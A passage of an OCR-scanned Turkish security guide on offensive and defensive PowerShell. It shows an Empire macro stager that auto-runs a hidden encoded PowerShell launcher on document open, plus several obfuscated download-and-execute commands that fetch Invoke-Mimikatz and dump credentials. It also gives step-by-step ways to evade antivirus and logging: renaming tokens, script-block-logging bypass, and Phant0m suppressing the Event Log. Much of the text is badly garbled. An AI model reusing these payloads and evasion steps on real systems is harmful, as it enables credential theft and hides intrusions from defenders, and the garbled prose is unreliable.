dretilebilir. Di rreiksi mdear.akkATEmp.iMBS,i ¢.eSCT, . DLL wuzant
icin Stager Gretilebilecedgi gi bi USB Rubber Ducky v
gelistirilmis <cihazlar i¢cin de Stager olusturul abil
dur umd a da Empire kull anitlabilir. Listener ayarl and
olusturulabilir. Asagida Empire ic¢cin olusturabilecek

267 modules currently loaded
1 listeners currently active

@ agents currently active

(Empire) > usestager

multi/bash osx/application osx/macho windows/bunny windows/launcher_sct
multi/launcher osx/ducky osx/macro windows/d1l windows/launcher_vbs
multi/pyinstaller osx/dylib osx/pkg windows/ducky windows/macro
multi/war osx/jar osx/safari_launcher windows/hta windows/teensy
osx/applescript osx/launcher osx/teensy windows/launcher_bat

S e kiil | Stagerlar

Gor il ebi | ecreggd k uUfzeerrkel bipl atform i¢cin bir¢cok farkIli i tdr
Wi ndows isletim sistemini t emel al dir g1 icin o6rnek ol
Macro turidnde Stager olusturul mustur ve asag! veril mi

Empire Macro Stag er

Sub AutoOpen()
Debugging
End Sub

Sub Document_Open()
Debugging
End Sub

Public Function Debugging() As Variant
Dim Str As String
str= "powershell -noP -sta -w1l -enc WwWBSAEUAZgBdAAC4AQQ"

str = str + "BzZAFMARQBtAGIADABSAC4ARWBFAHQAVABSAHAARQAOACCAUWBS"
str = str + "AHMAJABIAGOALgBNAGEAbgBhAGCAZQBIAGUAbgBOAC4AQQBLAH"
str = str + "QAbWBtAGEAJABPAGSAbgAUAEEADQBZAGKAVQBOAGKADABZACCA"
str = str + "KQBBAD8AeWAKAFSAFQBSACUAeWAKAFSALGBHAEUAVABGAEKARQ"
str =str+ "BSAEQAKAANAGEAbQBzAGKASQBUAGKAJABGAGEAaQBSAGUAZAAN"
str = str + "ACWAJWBOAG8AbgBQAHUAYgBSAGKAYWASAFMAJABhAHQAaQB]JAC"
str = str + "cAKQAUAFMARQBUAFYAYQBSAFUAZQAOACQAbgBLAGWADAASACQA"
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str = str + "VABSAFUARQApPAHOAOWBbAFMAeQBTAHQAZQBIAC4ATYBIAFQAL

str = str + "BTAEUAUgBWAEKAYWBFAFAATWBJAE4AJABNAGEAbgBhAGCAZQBS"
str = str + "AFOAOgA6AEUAWABWAEUAQWBUADEAMAAWAEMAbWBUAFQAaQBUAH'
str = str + "UARQA9ADAAOWAKAFCAYWAIAE4AZQB3ACOATWBCAEOARQBDAHQA"
str = str + "IABTAFKACWBOAEUATQAUAE4AZQBOAC4AVWBIAMBAMIGKARQ"

str = str + "BUAFQAOWAKAHUAPQANAEOAbwB6AGKADABSAGEALWALACAAMAAG"
str = str + "ACgAVWBPAG4AZABVAHCACWAQJAE4AVAAQADYALgAXADSAIABXAE"

str = str + "8AVWA2ADQAOWAGAFQACgBPAGQAZQBUAHQALWA3ACA4AMAATACAA"

str = str + "cgB2ADOAMQAXACAAMAAPACAALABPABSMECAZQBJAGSAbw"
str = str + "AnADsSAJAB3AEMALgBIAEUAQQBEAEUAUgBTACA4AQQBEAGQAKAAN"
str = str + "AFUACWBIAHIALQBBAGCAZQBUAHQAJWASACQAJQAPADSAJABXAE"

str = str + "MALgBQAFIAbwB4AHKAPQBbAFMAWQBTAFQARQBNAC4ATgBIAHQA"
str = str + "LgBXAEUAQ9BSAGUAUQBVAEUACWBOAFOAOgAGAEQARQBGAGEAVQ"
str = str + "BMAFQAVWBIAGIAUABSAESAWABSADSAJABXAEMALGBQAFIAbwBY"
str = str + "AFKALgBDAHIARQBEAGUAbgBUAEKAYQBSAFMAIAASACAAWWBTAH"
str = str + "KAUWBOAEUATQAUAE4AZQBUAC4AQWBSAGUARABFAG4AdABpPAGEA"
str = str + "bABDAGEAQWBIAGUAXQABADOARABFAEYAQQB1AGWAJABOAEUAVA"

str = str + "BSAESBAUgBrAEMAUgBFAEQARQBOAHQAaQBBAEWACWA7ACQASWAS"
str = str + "AFSAUWBZAFMAJABIAGOALgBUAEUAeABUAC4ARQBOAEMATWBKAE"
str = str + "kAbgBHAFOAOgAGAEEAUWBDAEKASQAUAECAZQBUAEAERDB

str = str + "UwAO0ACCcAUQBbADKAWgBeAHKAbwBKADEAdgBJADCANABNAGIAOW"
str = str + "B6AHIAIWBzZADUAIQArAEgAMWBJIAESAfgBZAHgAagAWACCAKQAT"
str = str + "ACQAUgA9AHSAJABEACWAJABLADOAJABBAFIARWBTADSAJABTAD"
str = str + "OAMAAUAC4AMgA1IADUAOWAWACAALgAYABBENABNAKAEOA"

str = str + "PQAOACQASgArACQAUWBbACQAXWBAACSAJABLAFSAJABFACUAJA"
str = str + "BLAC4AQWBVAFUATgBUAFOAKQAIADIANQA2ADSAJABTAFSAJABT"

str = str + "AFOALAAKAFMAWWAKAEOAXQAIACQAUWBDACQASgBAACWAJABTAF"
str = str + "SAJABTAFOAFQA7ACQARABSACUARMEKAPQAOACQASQArADEA"

str = str + "KQAIADIANQA2ADSAJABIADOAKAAKAEgAKWAKAFMAWWAKAEKAXQ"

str = str + "ApACUAMgA1ADYAOWAKAFMAWWAKAEKAXQASACQAUWBbACQASABI"
str = str + "ADOAJABTAFsSAJABIAFOALAAKAFMAWWAKAEKAXQA7ACQAXWALAG"

str = str + "IAeABVAFIAJABTAFSAKARAFMAWWAKAEKAXQArACQAUWBDLACQA"

str = str + "SABAACKAJQAYADUANgBAAHOATQA7TACQAVWBDACA4ASABIAEEAZA"
str = str + "BIAFIAcCWAUAEEAZABEACgAIgBDAG8AbwBIrAGKAZQAIACwWAIgBzZ"

str = str + "AGUAcwWBzAGKkAbwBUADOAYWAOAGWADABLIAGOATABHAEQAVQBYAF"
str = str + "UACABTADCARABEOAWQBA4AGOATQBSAHQAMABGAEKAPQAIACKA"

str = str + "OWAKAHMAZQBYADOAJWBOAHQAJABWADOALWAVADEANWAYAC4AMQ"

str=str+  "A2AC4AMQA4ADYALgAXADCAOQABADIAMAANADSAJABOADOAIWAY"
str=str+  "AGEAZABtAGKAbgAVAGCAZQBOACAACABOAHAAIWATACQARABBAH"
str=str+  "QAQQAY9ACQAVWBDACAARABVAHCATGBMAESAQQBKAEQAQQBOAEEA"
str=str+  "KAAKAHMARQBYACSAJABOACKAOWAKAEKAVGAIACQAZABhAHQAQQ"
str=str+  "BbADAALGAUADMAXQA7ACQARABBAFQAQQA9ACQAZABBAHQAQQBD
str=str+  "ADQALgAUACQARABBAFQAYQAUAGWAZQBOAGCAVABIAFOAOWALAG"

str = str + "0AbwBpAE4AWWBDAEQgAY QBYAFSAXQBAACgAJgAgACQAUgAgACQA"
str = str + "ZABBAHQAQQAQgACgAJABIAFYAKWAKAESAKQAPAHWASQBFAFgA"
Const HIDDEN_WINDOWG-

strComputer = "."

Set objWMIService = GetObject(  "winmgmts: \\" & strComputer & "\ root \ cimv2")
Set objStartup = objWMIService.Get( "Win32_ProcessStartup”" )

Set objConfig = objStartup.Spawninstance_

objConfig.ShowWindow = HIDDEN_WINDOW

Set objProcess = GetObject(  "winmgmts: \\ " & strComputer &
"\'root \ cimv2:Win32_Process" )

objProcess.Create str, Null, objCo nfig, intProcessID

End Function

Yukari da verilen Macro herhangi bir Of fice ailesi U
zamanda Power Shell tabanl Stager cal i1 sacaktir. Of f

BGA Security | www.bgasecurity.com



Ofansif ve Defansif PowerShell

kapali1dir ve kull ansiycay IMaaccrtol getk | zezanrmains Macr o Anun c¢al 1 s
karar ver mesi gereken wuyar. ¢l kacakti1r. Kull ani ci bu
Macro c¢ali1sacaktir

Macro kodu incelendi dginde, Debugging i snksmoniikiydoi r f onKk

ayri1 |l maktadistr.i sGnweleil i kd i sken atanmi's ve dedi sken de
parametrel er.i Ve encode edi | mi s Stager tanit ml anmi st
kull ani | an proP astae-twrletnes ek |l i ndedi NaoProfde rmamd aynh am,a gel en i
parametre o an aktif olan kullsanpanamat rpgifiilsai hagyli
ol an Power Shel |l processinin tekindowStyle gpdrampiesiissnda bas !l a
degerilil pemgcer edenc @hcaded€Cgmmand)ep ar ametr esi ise deger ol
ile encode edilmis Power Shell kodu wverildigi anl ami
Stager decode edil mistir ve asagirda verilmistir

22 Windows PowerShell

soft Corporation. All rights reserved.

oding]::Unicode.GetString([Systern wert]::FromBase64String(

))

*, "NonPubl atic').SETValUe($null,$TRUE

iN[CHar[]](&
PS C:\Users\hlldz>

SeklikiDecode Edilen Empire Stager Al

Stager oOncMdali wahee AB¢an Unterface (AMSU) o6nl emini bypa

icin gereken islemleri yapmakta ardindan sistemde kul
ol usturulurkam dedémaher i kull anar ak komut a kontrol
basl atmaktadir. Son ol arak gelen <cevap ic¢cendBXsinde g
(Invoke -Expression) i | e c¢al 1 stirri1 Il maktadir

Macro icerisindeki fonkgiiyon®Bn aiglkeirmai claill 3i1smd a aica& iPlov

Gzerinden gi zl:i pencere olacak sekilde c¢agirril makt act
fonksiyonlardan olan AutoOpen() ve Document Open() f onksi yonl ar | tani ml anmi g
fonksiyonlar tetikle n di § iDebtdiggingf onksi yonu c¢agiri | maktadir

Bu sekilde olusturulan Macro bir dokimanin icerisine
ekl endi gi nden emin ol unmal 1 drir. Macro ekl enirken 3 M
(Document) j d edjierr.i Buwcy amel madi g durumda veya var s:
Macro yerel sisteme kayit edil ecektir ve dokiman he
dosya gidecektir. Macro dokiumana degil sisteme ekl end
katyr edi lirken (6rnek ol arak Wor d -2008 gcansent n(*adoc)e kK | enmi s
secenegdginin secil mesi macronun sadgl i kIl cal 1 smas. i ¢
dosyalari genel dosya tidrd olup tim WNolrds maktsadgioml ar |
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Asagida o6rnek ol ar ak olusturul an dosyanin varsayll a
acllmasina ait ekran goéridntiusid verilmistir. Varsayl |l e
kullanicinin onay alind&angici: umMatculomdmal 1 dukrt.i fKuweltlt i §i
cali1sacaktir ve normal sartlarda hedef sistemde komut
i Cabatoht [ |A & Aan it T hashceoe asmoceos AaBDC AubbCe AAB| asscen zosnceos aosbces P — sossccoo |
bany B L Uk X AW A SEES {50 A09.  Nomsl TNoSpac. Hesdingl Headng? | Te | Sublife SublleEm.. Emphass Inemsef. Stong  Quote  IntseQ.. SubtiRel.|s| [n Selecte
Empire Macro Stager Test
SekiBiVvarsayil an Macro Dur umu
2.3. PowerShell > powershell.exe
Empire kul |l adoWwsar aski swWeml er i ¢cin ol usturul mus St age
dogr u pawershellexe Anin c¢alistiril masina ihtiyag¢ duydugu ¢
dodgr ul t pewershélikexe Anin c¢alistiri Il masinin engell enmesi, |
dusunidl ebilir. Fakat boyle bir yaklasim sorunu sagl.
Power Shel l bir c¢al ppwenshelieixea )i Iciork dasyaa dpawverdh@lexed 1 r v e
i se Power Shel | i ¢cin konsol Uy gul eetima sistaminin .ana Power Sh
bil esenl eri nden SystermMahagemensAutomationa.dil icerisinde islem ya
dogal ol arak ana bilesenlerden bir tpowessisellexeo INGhu dru i ¢i
calistirril masinin engel | en powsrshellobisedxed u U zbeirri nde st eymdnee
Power Shell Ae erisilip islem yapilabilir? Bunun sebebi
calistirilabilir bir dosyadan ¢ok daha fazlasini ifad

powershellexe Ani n kull animnin engel henmesiaciagi olgumli u oy ums

ol acaktir. Kul l ani min engel |l enmesi direkt ol ar ak
saldirganlarin isini zorl astiracaktir. Bir diger tar
gel i st i mpdwkrshells texeAni n kull animinin engell enmesi sistem
erisimini de ciddi oranda zorlastiracaktir.

Peki hedef sistemde powershellexe kul | ani mi engel l enmi s i se nasi | a

sitrasiyl a;

x  System.Management.Automation.dll  A'i ref ecglaaar ak kull anan bir C#

gelistirilir.

x Calistirmak istenilen Power Shell komutl ari1 refera
Yukar i daki i ki adi m paovershellexel elsalilrandmigi rechegel | enmi s
Power Shel |l kommruitll abrinl icralveti stenilen islemler gerc¢ekl
uygul amani n vy apbweghellexesNeimheryapti kl arindan pek de fa
powershellexe de bu sekil de c¢ali smaktadir.
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Ofansif ve Defansif PowerShell

Power Shell tabanli1 saldiri scriptlerini icerisinde ba
bazilar; POwnedShel l , Unmanaged Power Shel |, Power OPS
Asagi daki e Kis dam ¢payershallexe Ani n cali1stiri |l masi engel |l ent
PSAttack projesi ile Power Shell Ae erisim saglanmistir

¢ C:\Users\hlldz\Desktop #> $PSVersionTable

This operation has been cgncelled due to restrictions in effect on this computer. Please powershell.exe
contact your system administrator.

SekldiPSAttack tl e Power Shell Engelinin Bypass Edil me

2.4. Obfuscation *Tsl|l eml er |

ObuscationAl ki1 saca, ol masa da ol ur ki st mlarin tespi
tanit ml anmas.| ol arak tanit mlayabiliriz. Kod icerisinde
ol maktadir. Tmza tabanl 1 ftespattilcenr dleka rkrmeggmakkl a sgti inr ndeb)
yontemlerden bir tanesidir ve Power Shell scripting
zorl ani | mamaktadir. Her hangi bir dilde yazi |l m s kodu
bil gisi i | a ddd @druwg vuo ruanruttiull mamal 1 dir .

Yazi icin 6rnek ol arak Mi nnvéka-tMimkatnpslP con@i heddf sistem h al i ol
Gzerinde calistirilabil mesi hedefl enmi stir. ScriptAil
asagirdaki komut kullanit I mistir

Invoke - Expression (New Object

System. Net. WebClient ). DownloadString (‘https://raw.githubusercontent.com/mattifes
tation/PowerSploit/master/Exfiltration/Invoke - Mimikatz.ps1" ); Invoke - Mimikatz -
DumpCreds
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Yukari da verilen komuaor g&mikna agyghinp khuild asiéan di zi mi ne
kutiphane veya Cmdlet bile direkt olarak hedef sisten
Bu noktada komut incelenip olmasa da ol ur ki si1 mlar

duruml arda ibddsekrades eke |l i rti |l meye cal i1 si I mistir.

Onc el SyktémeNetWebClient ki1 s mi nda Bysttrumami mi ni kaldirrilabilir
fonksiyoB®ystamtianrdiami ol masa da ol ur.

Invoke - Expression (New Object
Net. WebClient ). DownloadString ('https://ra w.githubusercontent.com/mattifestation/

PowerSploit/master/Exfiltration/Invoke - Mimikatz.ps1" ); Invoke - Mimikatz -

DumpCreds

HTTP veya HTTPS di kkat ceken degerlerdir. Komut i cer
i stenildigi gi bi pakilr.c al ara ayri1l 1 p topl an

Invoke - Expression ( New Object

Net. WebClient ). DownloadString ('ht' +t +'ps' +:" +/° +/° +raw.githubusercontent.c
om/mattifestation/PowerSploit/master/Exfiltration/Invoke - Mimikatz.ps1" ); Invoke -
Mimikatz - DumpCreds

(New- Object  Net.WebClient) kit dphane tanit mi ni dedgi sken ol ar ak
kull anilacak olan yerde c¢cagirabiliriz.

$get = New Object Net. Webclient ; Invoke - Expression
$get . DownloadString ('ht' +1 +ps' +:" +/° +/" +raw.githubusercontent.com/mattife

station/PowerSploit/master/Exfiltration/Invoke - Mimikatz.ps1" ); Invoke - Mimikatz -

DumpCreds

DownloadString t an 1 mi da di kkat ceken Dboél uimlerden bir tane
tabanl i1 saldiri1 esraskunda nkdlmagym |[dnbogatoadStringn gekinee di r .
gececek baska tanimlar olsa da yine de bu tanim kull a
hedeflenebilir. Bu noktada DownloadString t ani1 mi n i i ki adet " karakter.i
PowerShe | | icin bu herhangi bir sorun teskil etmeyecekt:i
durumdadi r . Bunu asmak i¢in ° karakter.i kullani | abil
karakteridir. Asagidaki ekran g owelrnShiesliln diez egréirnid ee b'i | ke
belirli durumlarda kullanil di gr zaman 06zel anlamlara
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USTNG

When used within quotation marks,
cial character that provides instructions

The following special characters are recognized by Windows PowerShell:

SPECIAL

CHARACTERS

character indicates a
to the command parser.

the escape

Null

Alert

Backspace

Form feed

New line
Carriage return
Horizontal tab
Vertical tab

example:

Bu

tani

mi

karakter.i

calistirildigrnda
ol usacakt 1 r .powarghell

ng

War ni

karakter.i

7]
File Action View Help
= |5 HE
NTLM
7 NvdimmN
OfflineFiles
OneBackup
_ OneX

Partition

PmemDisk

v PowerShell
] Admin

| Policy-based QoS

] Operational

00BE-Machine-DUI

OtpCredentialProvider
| PackageStateRoaming

ParentalControls

| PerceptionRuntime
PerceptionSensorDataSenvi

"1234567812345678
78123456781
Column2 Col3

"nColl” tColumnz2™ tCol3"™

her har

ol d

konmn

SeklbiKagi s Karakteri Tani ml ar i
ar disindaki kull ani mlarda Power Shel |l
yokmus gi bi d e v pomershelt me dxéce loypass. kdhutm e §i n
Script Bl ock | ogl amanigindeddgt i f
-exgd BWPASs komutu ile gerceklestiri
seviyesinde l og ol usmamaktadir Her i ki
sayesinde normal de suphelni kalcarba d misariat.l en
QY operstionst Numberoteense ___|;==s
Level Date and Time Source EventID  Task Category ~ | | Opesmtienal
A\ Waming 15.08.2017 11:52:33 PowerShell (Micro. 4104 Execute a Remote ... v

Open Saved Log.

Event 4104, F Microsoft-Windows-PowerShell) 5 Windows PowerShell
% Windows PowerShel

General pet,

Creating Scriptblock text (1 of 1):

o -exec bypass
ScriptBlock ID: c27fbede-a6f6-4bcd-ab19-2ba3957988dc
Path:

Sekl6itWarning Seviyesinde

ol

usan Log
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@
File Action View Help
o9 757 HE
| NTLM Bl Operational  Number of events: 29 Actions

NvdimmN N

OfflineFiles Level Date and Time Source EventID Task Category ~ | | Operational -

OneBackup i) Information 15.08.2017 11:54:01 PowerShell (Micro... 4103 Executing Pipeline Open Saved Log...

OneX i) Information 15.08.2017 11:54:01 PowerShell (Micro... 4103 Executing Pipeline ¥ Create Custom View...

OOBE-Machine-DUI © Verbose 15.08.2017 11:54:01 PowerShell (Micro... 4104 Execute a Remote ...

= Import Custom View...

OtpCredentialProvider i) Information 15.08.2017 11:54:01

Pac ing ® 15.08.2017 11:54:01

ParentalControls D) Information 15,08,2017 11:5401 owershell

Paitiion © Verbose 5.08.2017 11:54:01 Microsoft Corporation. All rights peserved.

PerceptionRuntime D Information 15.08.2017 11:54:01 1 gy P

PerceptionSensorDataServi i) Information 15.08.2017 11:53:42 ind )

§ Pmembisk Copyright 6 Microsoft Corporation. A

Policy-based QoS Event 4104, PowerShell (Microsoft-Windows-PowerShell)

v PowerShell G " S :\Users\hlldz>

;,]Admm eneral  Details

] Operational

PowerShell-DesiredStateCo Creating 5<nplblo<!(text (1of 1):

powershell -exec ‘B P'A'Ss

1 PrimaryNetworkicon

PrintBRM ScriptBlock ID: 5f0cee07-8e97-41d6-bf60-8cdec332a3e7

PrintService Path:

| PriResources-Deployment

SeklriWarni ng Seviyesinde Log Ol usmamas]|

Yukari da da belirtildigi U z BoweloadStmimgu t anicreirnisi hde hbBdk
karakte r i arasina alitnabilir v e devaminda 0zel bir an

kull ani |l abil i NetWebglient ,New@bjeatdac i n argimandir ve ayni i sl
gerceklestirilebilir

$get = New Object ""N'et.'W'ebc'lI'i'ent" ; Invoke - Expression
$get. "D'o’'wn’l'oa’d Strlin’g" ('ht" +t +ps' +:' +/" +/" +'raw.githubusercontent.c
om/mattifestation/PowerSploit/master/Exfiltration/Invoke - Mimikatz.ps1'" ); Invoke -

Mimikatz - DumpCreds

Bu noktada ni hai komut kullanilarak bazi kontroller
da karmasi klastirilabilir. Bu sekilde komut wveya koc
Obfuscationi projesi bul unmakt aekni K Bhulplraniel arlak bgie
i stenilen komut veya kod karmasi klastirilabilir. Orn
Invoke -Obfuscation projesindeki TOKENCOMMAND Ob f uscat or Al il e kar mas kil
asagirda verilmistir

Invoke - Obfuscation - TOKENCOMMAND

. "{2HOH{4HBHIK3Y" -f 'ke -Expr' ,'i0" ,'Invo’ ,'n" ,'es' ,'s' ) (&("{2H{1KO}" -
f'ct' ,'Obje’ ,'New-")

System. Net. WebClient ). DownloadString ('https://ipOrDomain/Invoke - Mimikatz.ps1' );
. "{OH3K2}H{1}" -f'lnvt [ latz' 'k, 'oke - Mimi' ) - DumpCrels

tlogili proje icerisinde bircok baska obfuscator bulu
kull anitlabilir. Bu noktaya kadar gerceklestirilen kai
yazilan alarm veya kor el adiy @&mcak kKnvoke-IMimkatapeli daslyamak i ¢

basta Windows isletim sisteminde kurulum ile gelen De
tarafindan tespit edi |l mektedir. ScriptAin VirusTot al
asagirdaki gi biediir Ower gorblilrgook guvenlik Gridnd taraf

edi |l mistir
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= C' | @ Secure https://virustotal.com/#/filefebf54f745dc81e1958f75e4ca91dd0ab9891c9787bbBb0bfa93e2151d%a2abbb/detection b ¢

Z Search or scan a URL, IP address, domain, or file hash (_\% m EEE Sign

é 29 engines detected this file °

SHA-256 ebf54f745dc81e1958f75e4cad1dd0ab98ofca787bbebobfo93e2f51d9a2asbb

TxT File name Invoke-Mimikatz.ps1
File size 2.1 MB
29—/58 Last analysis 2017-08-14 13:46:16 UTC
Community score  -36
Detection Details Relations Community o
Ad-Aware A Application.HackTool.PowerSploit.A AegisLab A Troj.Psw.Powershell!c
Arcabit A Application.HackTool.PowerSploit.A Avast A BV:AndroDrp-B [Drp]
AVG A BV:AndroDrp-B [Drp] BitDefender A Application. HackTool.PowerSploit.A
Cyren A Application. AHSI Emsisoft A Application.HackTool.PowerSploit.A (B)
eScan A Application.HackTool.PowerSploit.A ESET-NOD32 A PowerShell/Injector.D
F-Secure A Application.HackTool.PowerSploit Fortinet A JS/Moat,3B45BB5E!r
GData A Application.HackTool.PowerSploit.A Ikarus A HackToolWin32.Mikatz
Kaspersky A Trojan-PSW.PowerShell.Mimikatz.c MAX A malware (ai score=73)

S e k1B 1 Invoke -Mimikatz.ps1 Tarama Sonucu

Ay ni zamanda direkt olarak hed#Mal ssbseeBacanc dint gtr if micle
kullanan Def ender tarafi ndan da zarar/l. olarak tespit edil

2. Windows PowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> Invoke-Expression (New-Object System.Net.WebClient).DownloadString(
); Invoke-Mimikatz

PS C:\Users\hlldz>

S e k1B {1 AMSI ve Invoke -Mimikatz.ps1

Guvenlik dOrdnlerinin sadece belirli kelimelere (06rnedg
il e karsi |l asi | aibti | ibri.r RPoavgir B elblas scri pti Invdked unmakt e
Mimikatz.psl dosyasi ndan alinmis 6rnek yorum satirlari1 ile
kodun yapti 1 tek sey ekrana Mimikatz kelimesini yazm
tarama sonucu verilmistir
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Invoke - Mimikatz.ps1

function Invoke - Mimikatz {

<#

.SYNOPSIS

This script leverages Mimikatz 2.0 and Invoke - ReflectivePElnjection to
reflectively load Mimikatz completely in memory. This allows you to do things
such as

dump credentials without ever writing the mimikatz binary to disk.

The script has a ComputerName parameter which allows it to be executed against
multiple computers.

This script should be able to dump credentials from any version of Windows
through Windo ws 8.1 that has PowerShell v2 or higher installed.

Function: Invoke - Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY “gentilkiwi". Blog: http://blog.gentilkiwi.com.

Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
License: http://creativecommons.org/licenses/by/3.0/fr/
Required Dependencies: Mimikatz (included)

Optional Dependencies: None

Mimikatz version: 2.0 alpha (12/14/2015)

#>
Write - Output "Mimikatz"
(5 C' @ Secure https://virustotal.com/#/file/34c8e78298085f735433adacaf99c41d80f8def47e6205d8f5b6c7474ce5d3ec/detection w
2 Search or scan a URL, IP address, domain, or file hash Q ﬂ Sign
— 4 engines detected this file °
E SHA-256 34c8e78298085(735433a4acaf99c41d80fBdef47e6205d8f5b6c7474ce5d3ec
File name Invoke-Mimikatz.ps1
File size 907 B
4/58 Lastanalysis ~ 2017-08-14 17:46:49 UTC
Detection Details Community

McAfee A\ HToolEmpireagent McAfee-GW-Edition A\ HTool-Empireagent

Microsoft A HackTool:Win32/Mikatz!dha Sophos AV A Troj/MimiK-B

Ad-Aware 0 Clean AegisLab o Clean

AhnLab-v3 @ Clean ALYac @ Clean

Sek20iOrnek Tarama Sonucu

Invoke - Mimikatz.psl s cr i pti incelendi ginde icerisinde bircok
go6ridl ecektir ve yorum satirl ar. ScriptAin c¢calil smasi n:
degisir ise dosyamromriumaadie/ deggiediarr wWe i sirse giavenli
tespitinden kaci labilir. Bu noktada yorum satirl ar
kari1 si klarindaki degerler ile degistirilmisgstir.
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Onceki Deger Sonr aki Deger

Invoke - Mimikatz Invoke - Leglt
DumpCreds DpCr3dz
DumpCerts DpC3rtz
$TypeBuilder $T3Bulld
NoteProperty ‘N'ot’e’Prio’p’erty
Yorum satirlaritrnin temizlenmesi ve ardindan yapilan b
kadar diasmiustauar. Asaglr dakgodoerurdaog@gogiibt saddeedel gil
bircok giuvenlik dGridnid dosyaylr temiz olarak gormekted,]
script UGzerinde dedgisiklikler yapil maya devam edilirs
& C' | @ Secure https://virustotal.com/#/file/76a28964cd2ea70f9ac04acdbf6103cec3e1ec299172¢c0e57ebc0f68¢1e99028/detection %4
Z Search or scan a URL, IP address, domain, or file hash Q Q EEE Sign
12 engines detected this file °
SHA-256 76a28964cd2ea70f9ac04acdbf6103cec3e1ec299172c0e57ebc0f68c1e99028
File name Invoke-Legitpst
TXT File size 209 MB
Last analysis  2017-08-15 11:34:13 UTC
Detection Details Community
Ad-Aware A Application.Hacktool.QV Arcabit A Application.Hacktool.QV
BitDefender A Application Hacktool.QV Emsisoft A Application.Hacktool.QV (B)
eScan A Application.Hacktool.QV ESET-NOD32 A PowerShell/Injector.D
F-Secure A Application.Hacktool.QV GData A Application.Hacktool.QV
Ikarus A HackTool Win32 Mikatz Kaspersky A HEUR:Trojan.Script.Generic
MAX A malware (ai score=72) ZoneAlarm A HEUR:Trojan.5cript.Generic
AegisLab @ Clear AhnLab-v3 @ Clean

S e k2il | Script Tarama Sonucu

Son olarak olusturulan script GithubAa yuklenmisgstir

sistem UOzerinde c¢calistiri I mistir.
&("{OH1LH2H3}" -f ‘Invoke -Express' ,'i" ,'0' ,'n" ) (&( "{1KOH{2}" -f 'Obj' ,'New-
", lect” )

System. Net. WebClient ). DownloadString (' https://gist.githubusercontent.com/anonymo
us/03cfe65e513ebadf9e8f69391d121163/raw/1f77483f9afd738def5abc7c9e3e8f8624674a09
/Invoke -Leglt.psl "); .( "{2HOH1}* -f 'nvo' ,'ke -Leglt" ,'I' ) -Command
"privilege::debug exi t"
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2. Administrator: Windows PowerShell

fWindows PowerShell
§ Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> &( ) System.N|
et.WebClient).DownloadString(

HEHEE mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14

LHE N

##. "A La vie, A L'Amour”

## / \ #8 /> > >
## \ / ## Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )

‘##

v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo0)

i with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # privilege::debug
Privilege 20" OK

mimikatz(powershell) # exit

Bye!

PS C:\WINDOWS\system32>

2.5.

Sek2gScriptAin Calistiri |l masi

PhantOm

PhantOm Wi ndows Event Log servisini hedef al an bir
sistemine gerceklestirilebilecek hemen hemengtim sal
mekani zmas| tarafindan toplanacaktir ve bu izler I o
sistemde Event Log servisinin kendi sine ait thread]l
engell emektedir ve sadece il gild@i EWerbdlLeg derdusul @
gozukecektir
Eger Windows Uzerinden ¢ali san herhangi bir servis bu
lzerinde servislerin nasi|l cal 1 st g konusuna degini
i sl etim sifdsrteevmi yn@reetg ci si vb. bir arac¢c ile c¢calisan |
svchost.exe go6ridlecektir
[ svchost.exe 3252 2,98 MB NT AUTHORITYANETWORK SERVICE Host Process for Windows Services
[¥] svchost.exe 2416 1,13MB NT AUTHORITY\SYSTEM Host Process for Windows Services

1748 3,79MB NT AUTHORITV\SYSTEM Host Process for Windows Services

1648 461 MB NT AUTHORITY\SYSTEM Host Process for Windows Services

1332 12MB NT AUTHORITY\LOCAL SERVICE Host Process for Windows Services

1212 002 552B/s 6,15MB NT AUTHORITYANETWORK SERVICE Host Process for Windows Services

952 0,03 3MB NT AUTHORITY\LOCAL SERVICE Host Process for Windows Services

944 7,29 MB NT AUTHORITY\LOCAL SERVICE Host Process for Windows Services

900 499 MB NT AUTHORITY\SYSTEM Host Process for Windows Services

816 0,73 1,04kB/s 2505MB NT AUTHORITY\SYSTEM Host Process for Windows Services

700 3,89 MB NT AUTHORITYANETWORK SERVICE Host Process for Windows Services
644 51MB NT AUTHORITY\SYSTEM Host Process for Windows Services
1 456 1,34 MB NT AUTHORITV\SYSTEM Host Process for Windows Services
[#5] svchost.exe 452 014 238kB/s 20,11 MB NT AUTHORITY\LOCAL SERVICE Host Process for Windows Services

S e k2B | svchost.exe

Windows isletim sisteminde ¢cogu servis o6zellikle sist
cal 1 su1r. tsletim sistemlerd:i maksi mum veri mi hedefl em
yonetim metodolojileri gelistirmislerdir. Birden fazl
cal i1 stirmak hem servislerin yéklkai mhnmn the@ma deazsliast §
paylastiri |l masini sagl ar . Wi ndows isletim sisteminde
temel de verimliligi artirmaktadir
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Phant OmAun c¢calirstirildirgr sistem lGzerinde &ercekl esti

x Windows Event Log servisinin processAI (svchost . e
x ProcessAe ait tim threadler icerisinde Event Log
x  Event Log Servisi ile ilgili olan threadler durdurulur.

PhantOm basari|l1 bimans &€kielnde Loagl isetrivisizadal 1 s1yor g6o6
|l og topl amayacaktir, |l og toplayamadi g1 icin herhangi
Ozetl e, her sey c¢calisiyor g6ézukecektir ancak Event Lo

LENEral DIAUSDCS  FEMTOMMANCE  ''"Sowe  [OKEN  MOGUIES | MEMOry TNVFONMENT | Mandies  SErVICes LM LASK NG INETWORK | Lomment

TID CPU  Cydesdelta Startaddress Priority Service
1036 svchost.exe +0x3440 Normal

1164 ntdl.dlEtwEventRegster +0x50 Normal

1180 ntdll.dlIEtwEventRegister +0x50  Normal

1192 ntdll. Al EtwEventRegster +0x50 Normal

1368 109.737 ntdl.dl'EtwEventRegister +0x50 Noemal

2104 51.117 ntdl.dlEtwEventRegister 40x50 Normal

237% 0,03 779.342 ntdl.dlIEtwEventRegster +0x50 Normal

1364 65.860 audiosrv.dl+0x40000 Normal Audosry
3996 44.867 combase.dl!CoFreeUnusediibra. Normal Audiosrv

1212 8.368 sechost.diiRegisterServiceCtrH, Normal Dhep
dhcpeore6.di! DhcpvEMain Normal &3 Administrator: Windows PowerShell =

PS C:\Users\PoC\Desktop> Invoke-Phantem

